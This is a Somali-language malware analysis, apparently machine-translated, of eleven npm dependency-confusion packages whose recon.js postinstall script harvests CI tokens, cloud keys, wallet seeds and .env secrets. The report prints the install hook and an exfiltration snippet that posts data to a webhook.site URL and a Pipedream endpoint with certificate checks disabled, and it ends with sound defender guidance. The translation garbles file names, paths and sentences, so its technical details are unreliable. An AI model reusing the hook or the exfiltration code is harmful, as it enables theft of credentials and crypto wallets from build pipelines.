TL, DR
2026-06-17, akoon npm ah oo keliya ayaa la daabacay Kow iyo toban xirmo oo wadaaga hal ujeedo iyo hal culays oo mushahar ahToban ka mid ah waxay qaadaan cryptodao- horgalaha (cryptodao-core, -sdk, -bot, -config, -backend, -signer, -utils, -deploy, -contracts, -types); kow iyo tobnaad waa la cabbiray @public-for-cdao/coreMid walba waxaa lagu daabacay nooc 99.99.99 waxayna soo dirtaa byte-isku mid ah recon.js taasi way socotaa postinstall.
Magacyadu waa waxa la sheego. Waxay u eg yihiin dhismayaal gudaha ah oo ka mid ah silsiladda qalabka gaarka loo leeyahay ee mashruuca crypto/DAO. Waxaa lagu daabacay diiwaanka dadweynaha ee npm nooc macmal ah oo sarreeya, waxayna ku fadhiyaan inay sugaan dhisme. pipeline kaas oo loo habeeyey inuu xalliyo magacyadaas oo gaara npm dadweynaha ka hor - ama beddelkeeda - diiwaanka gaarka loo leeyahay. Tani waa jahawareer ku tiirsanaan, culayskana waxaa loo hagaajiyaa meesha saxda ah ee ay filayso inay ku degto: CI/CD orodka.
Goorma postinstall dab, recon.js Waxay ururisaa faahfaahinta martida, waxayna si qoto dheer u nadiifisaa Afartan doorsoomayaal deegaan oo daruur ah, CI, iyo jeebka loo yaqaan 'crypto-bocket', wax kasta ayuu akhriyaa .env Faylasha ay heli karto oo u gudbin karto khadadka sirta ah si toos ah, ka dibna xirmada u gudbin kartaa laba ururiye - webhook.site iyo barta ugu dambeysa ee Pipedream — oo xaqiijinta shahaadada TLS ay cilladaysan tahay. Nuqul ayaa sidoo kale lagu qoray hoos /tmp.
Darnaanta: sareNidaamka deegaanka ee ay saameysay: shmKow iyo tobanka xirmo ayaa si toos ah loo duubay xilligii qoraalka la qorayay.
Anatomy-ga weerarka
Farsamadu waxay leedahay afar qaybood oo dhaqaaqa, midna ma aha mid qarsoon marka aad ogaato Hal lakab ka eeg magaca xirmada.
1. Sicir bararka nooca oo ah soo jiidashada xallilaha. Baakad kastaa waxay ku dhawaaqdaa nooc 99.99.99Jahwareerka ku tiirsanaanta ayaa shaqeeya marka maareeyaha baakadka, uu weydiisto magaca gudaha, sidoo kale wuxuu hubiyaa diiwaanka dadweynaha wuxuuna doortaa nooca ugu sarreeya helida. Xulashada caadiga ah ee npm ee noocyada kaadhka carruurta ama kaarka duurjoogta ah waa Nooca ugu qanacsan ee dhammaan ilo kasta oo la habeeyey; haddii labaduba ay yihiin kuwo gaar ah Jawaabta diiwaanka iyo dadweynaha npm ee isla magacaas, lambarka nooca weyn ayaa ku guuleysta. A 99.99.99 asal ahaan ka sarreeya nooc kasta oo gudaha ah oo dhab ah oo mashruuc uu yeelan doono la gaaray, sidaa darteed xal-bixiye aan ku xirnayn isha gaarka ah ayaa doorbidaya dadweynaha - iyo kiiskan, cadow - nuqul. Hawlwadeenku uma baahna inuu ogaado lambarrada nooca dhabta ah ee bartilmaameedka; doorashada ugu badnaan ee aan macquulka ahayn waxay damaanad qaadaysaa isku aadka had iyo jeer waxay jebisaa jidkooda.
2. Kicinta kadib rakibidda. xirmo.json waxay ku xirtaa culayska mushaharka rakibidda meertada nolosha:
{ "scripts": { "postinstall": "node recon.js" } }Soo dejinta xirmada looma baahna. Kaliya rakibiddeeda - taas oo ah CI pipeline si otomaatig ah ayuu u shaqeeyaa - wuu shaqeeyaa dib u habeyn.js.
3. Shaandheyn qarsoodi ah oo ballaaran. dib u habeyn.js wuxuu isku daraa tiro natiijooyin ah marxalado:
- Macnaha Martigeliyaha: magaca martigeliyaha, goobta iyo sii deynta, qaab-dhismeedka, magaca isticmaalaha, shaqada tusaha.
- Doorsoomayaasha deegaanka: waxay soo celisaa liis go'an oo qiyaastii afartan magac iyo diiwaan ah wax kasta oo la dejiyay. Liisku waa mid muujinaya - wuxuu lammaaneynayaa calaamadaha CI ee guud (CI_JOB_TOKEN, CI_REGISTRY_PASSWORD, GITLAB_ACCESS_TOKEN) iyo daruur aqoonsiga (AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_SESSION_TOKEN) oo leh sir diiwaan iyo weel (NPM_TOKEN, DOCKER_PASSWORD, HARBOR_PASSWORD) iyo koox si cad u dhadhan crypto ah: PRIVATE_KEY, MNEMONIK, SEED_PHRASE, INFURA_API_KEY, ALCHEMY_API_KEY, ETH_RPC, BSC_RPCQiimaha la duubay waxaa loo soo gaabiyay 50-ka xaraf ee ugu horreeya.
- .env faylasha: waxay baartaa liiska waddooyinka - .env, ../.env, /app/.env, /app/backend/.env, /app/bot/.env, /home/gitlab-runner/.env, /xidid/.env, iyo .wax soo saar/.horumarin noocyo kala duwan - iyo fayl kasta oo jira, shaandheeya waxa ku jira ilaa khadadka u dhigma FUR | SIR|CALAAMAD|DHAAF|GAAR AH|MNEMONIC oo ku riixa khadadkaas ** si buuxda, oo aan la jarin** natiijooyinka.
- Macnaha guud ee dhismaha: waxa uu taxayaa 20-kii qoraal ee ugu horreeyay ee /dhis/, /guriga/gudaha-runner-gitlab/dhis/, /var/lib/gitlab-runner/, Iyo / tmp /.
Liiska wadada iyo liiska doorsoomayaasha waxaa loo miisaamay orodyahannada GitLab, kuwaas oo tilmaamaya culayska mushaharka si toos ah ugu socda kaabayaasha CI ee iskood isu abaabulay halkii uu ka ahaan lahaa horumariye Laptop-ka. Liiska goosashada oo loo qaybiyo qaybo ayaa ka dhigaysa mid fudud:
Kooxda sirta ah waa qaybta ka soocda tan sirta guud ee CI. xaaq: weedhaha abuurka boorsada iyo furayaasha saxiixa waxay ka muuqdaan oo keliya deegaanka mashruuca blockchain, waxayna si toos ah ugu sawiraan cryptodao-/calaamad/qandaraasyada magacaabista sideyaasha.
4. Nadiifin laba-laab ah oo xaqiijinta la joojiyay. Saxanka la ururiyay waa Taxane la sameeyay oo loo diray laba meelood:
const targets = [ { host: 'webhook.site', path: '/d6d18927-e513-4df7-b019-58bfc64fe0dd', method: 'POST' }, { host: 'enqoojbegdvxj.x.pipedream.net', path: '/', method: 'POST' }, ]; // ... https.request({ ..., rejectUnauthorized: false, timeout: 5000 })rejectUnauthorized: been waxay damisaa hubinta shahaadada TLS ee qofka dibadda u baxaya Wicitaanada. Xogtaas oo kale waxaa lagu daabacaa stdout (markaa waxay sidoo kale ku dhacdaa diiwaannada shaqada ee CI) iyo loo qoray /tmp/.npm_recon_ .jsonKhaladaadka si aamusnaan ah ayaa loo liqaa, sidaa darteed a diritaanka fashilmay wuxuu ka tagayaa raad la'aan wax soo saarka rakibidda oo ka baxsan hal [dib u milicso] lagu rakibay line.
Faallo hormuud ah oo ku jirta faylka ayaa ku tilmaamaysa "Jaahwareer Ku-tiirsanaan ah" "Qiimaha Sahanka." Kala-goynta qiimaha deegaanka ilaa 50 xaraf ayaa leh qaabka caddaynta fikradda. Waxa ka gudba iftiinka joogitaanka oo keliya waa .env maaraynta: khadadka sirta ah ayaa si buuxda loo gudbiyaa, meelaha loo socdona waa laba ururiye oo shaqeynaya oo ay xakameeyaan weeraryahannada halkii ay ka ahaan lahaayeen saxan yar oo kaliya tiriya garaacis.
Jadwalka
Qaabka daabacadu waa saxiixa riixitaan qoraal ah oo keliya, ee maaha kow iyo toban soo gelin madax-bannaan.
Toban baakadood ayaa ka baxay daaqad 29 ilbiriqsi ah, qiyaastii hal jeer saddexdii ilbiriqsiba. Qalabka la cabbiray @public-for-cdao/core la socday qiyaastii 24 daqiiqo ka dib - ilbiriqsi magacaabista heshiiska bartilmaameedka isku midka ah, haddii mashruuca wax cunaya uu tixraaco silsilad qalab gudaha ah oo hoos timaada scope halkii laga isticmaali lahaa magacyo qaawan.
Tilmaamayaasha tanaasulka
Dhaqanka la arkay iyo dabeecadda la arkay
Wax walba oo ku saabsan kooxda ayaa tilmaamaya hal gacan. Dhammaan kow iyo tobanka xirmo ayaa la daabacay akoonka npm aduljune (aduljune@proton.me, cinwaan aan la xaqiijin oo aan lahayn kaydka isha isku xiran), gudaha 25-daqiiqo gudahood, isla waqtigaas 99.99.99 nooca, rarista a dib u habeyn.js kuwaas oo macluumaadkoodu yahay byte-for-byte isku mid ah dhammaan xirmo (MD5 wuxuu la mid yahay dhammaan kow iyo toban nuqul oo la soo saaray). Taasi waa hal culays oo lacag ah lagu shaabadeeyay liiska magacyada, ee aan ahayn dib-u-isticmaalka koodhka madaxa-bannaan.
Liiska magacyadu wuxuu qeexayaa bartilmaameedka loogu talagalay. cryptodao-* iyo cdao sharax qaab-dhismeedka module-ka gaarka ah ee mashruuca crypto/DAO, iyo liiska goosashada ee mushaharka muraayadaha qiyaasa: oo ay weheliso sirta guud ee CI iyo daruuraha, gaar ahaan gaartaa PRIVATE_KEY, MNEMONIK, SEED_PHRASE, iyo Ethereum/BSC RPC iyo Furaha bixiyaha. .env Jidadka raadinta iyo liisaska hagaha waa GitLab-runner gaar ah. Saamaynta la arki karo waa in wax kasta oo pipeline lagu khiyaaneeyey rakibidda kuwan magacyadu waxay u gudbin doonaan calaamadaha CI-ga, furayaasha daruuraha, iyo diskka .env sir - iyo, waayo mashruuc blockchain ah, agabka boorsada - oo loogu talagalay laba ururiye oo dhinac saddexaad ah.
Ma sheeganeyno cidda maamusha akoonka ama waxa ay qorsheynayaan inay ku sameeyaan xog. Xaqiiqooyinka iskood isu taagan: magacyadu waxay bartilmaameedsadaan nooc gaar ah silsilad qalab gudaha ah, culayska lacag bixinta ayaa akhriya oo gudbiya qiimayaasha sirta ah ee dhabta ah, iyo kaabayaasha dhaqaalaha ayaa si toos ah u socday.
Saamaynta, isbeddellada, iyo hagidda difaacaha
Jahwareerka ku tiirsanaanta weli waxtar leh sababtoo ah waxay ka faa'iidaysataa dhaqanka xallinta, ee maaha nuglaanta ku jirta xirmo kasta. Qalabka side-ka halkan waa wax aan badnayn — kow iyo toban ku dhawaad madhan xirmooyinka - laakiin radius-ka qaraxu waa wax kasta pipeline si khaldan ayuu u door bidaa npm-ka dadweynaha magac gudaha ah. Orodyahannada CI waa meesha ugu xun ee taasi dhacdo: way haystaan sax calaamadaha iyo .env faylashan culayskan ayaa akhriya, wayna rakibaan ku tiirsanaanta aan is-dhexgal ahayn, sidaa darteed a postinstall orod iyadoo aan cidina daawanayn.
Kooxdani waxay sidoo kale ku habboon tahay qaab aan sii wadno inaan aragno: culaysyada waqtiga rakibidda ee soo baxa sida "cilmi-baaris" ama "sahan" iyadoo la samaynayo ururinta shahaadooyinka dhabta ah. Calaamadda Faylka ku jira ma beddelo waxa uu koodku ku sameeyo orodyahanka. Laba doorasho oo naqshadeed ayaa sii jira hawsha oo deggan: shabakad kasta iyo hawlgal kasta oo nidaamka faylka ah waxaa lagu duubay maareeyaha ka reeban ee iska fogeeya khaladaadka, sidaa darteed diritaanka xanniban ama faylka maqan ma soo saarto wax soo saar ogaansho ah, waxa kaliya ee la daabacayna waa hal aan waxyeello lahayn [dib u eegis] ... la rakibay khadka isku daraya hadalka caadiga ah ee rakibidda. Isticmaalka webhook.site iyo Pipedream sidoo kale waa ku habboonaan ula kac ah - labaduba waa bilaash. isla markiiba la bixiyay adeegyada codsiga-qabashada, si hawlwadeenku uusan ugu baahnayn adeegayaal iyaga u gaar ah iyo meelaha loo socdo waxay u egyihiin magacyada martigeliyaha SaaS ee caadiga ah ee ku jira diiwaanka bixitaanka.
Dhaqaaluhu waa waxa ka dhigaya tan mid mudan dareenka difaacaha inkastoo Koodhka side-ka waa wax aan fududayn. Diiwaangelinta kow iyo toban magac waxba kharash kuma kacayso, culayska la saarayna waa mid Faylka kow iyo toban jeer ayaa la koobiyeeyay, maamulaha baakadkuna wuxuu sameeyaa dhammaan fulinta. si khaldan loo habeeyay pipeline meel kasta oo isticmaala mid ka mid ah magacyadan waxay bixisaa dhammaan hawlgalka.
Tallaabooyin la taaban karo oo loogu talagalay difaacayaasha:
- Ku dheji cabbirrada gudaha diiwaankaaga gaarka ah. Deji npm si magacyada gudaha loo sameeyo
iyo cabbiradu waxay xalliyaan oo keliya diiwaankaaga (khariidadaha diiwaanka ee scoped .npmrc, ama wakiil aan waligiis u gudbin npm dadweynaha ee meelaha magaca ee la leeyahay). Kaydso magacyadaada baaxadda dadweynaha si aan cid kale u diiwaan gelin.
- Commit quful faylasha oo ku rakib -ignore-scripts gudaha CI meesha ay suurtogal tahay, ama Hubi tirada yar ee ku tiirsanaanta ee si dhab ah ugu baahan qoraallada rakibidda. recon.js ma shaqeyn karo haddii postinstall lama fulin.
- Ku daawee nooc 99.99.99 (ama nooc kale oo si aan caadi ahayn u sarreeya) oo ah magac gudaha u muuqda sida calan cas dib u eegista ku tiirsanaanta iyo la socodka diiwaanka.
- Digniin ku saabsan bixitaanka waqtiga rakibidda. A postinstall kaas oo furaya HTTPS dibadda ah xiriir - gaar ahaan marka xaqiijinta shahaadada la joojiyay - si webhook.site, Pipedream, ama adeegyada la midka ah ee qabashada codsiyada waxay u qalantaa in laga xiro geeska shabakadda oo lagu calaamadeeyo diiwaannada dhismaha.
- Ugaarsiga waxyaabaha qadiimiga ah. Hubi orodyahannada /tmp/.npm_recon_*.json iyo kuwa [dib u eegis] ... lagu rakibay ... calaamadeeyaha diiwaannada CI ee dhawaan la helay. Haddii la helo, wareeji mid kasta aqoonsi loo soo bandhigay taas pipeline — Calaamadaha CI, furayaasha daruuraha, calaamadaha diiwaangelinta, iyo abuurka jeebka ama furayaasha gaarka ah ee ku jira deegaanka ama faylasha .env.
tixraacyada
Ma jirin warbixin dibadeed oo ku saabsan kooxdan xilligii qoraalkan la qorayay; kor ku xusan waxay si toos ah ugu salaysan tahay waxyaabaha ku jira xirmada la daabacay
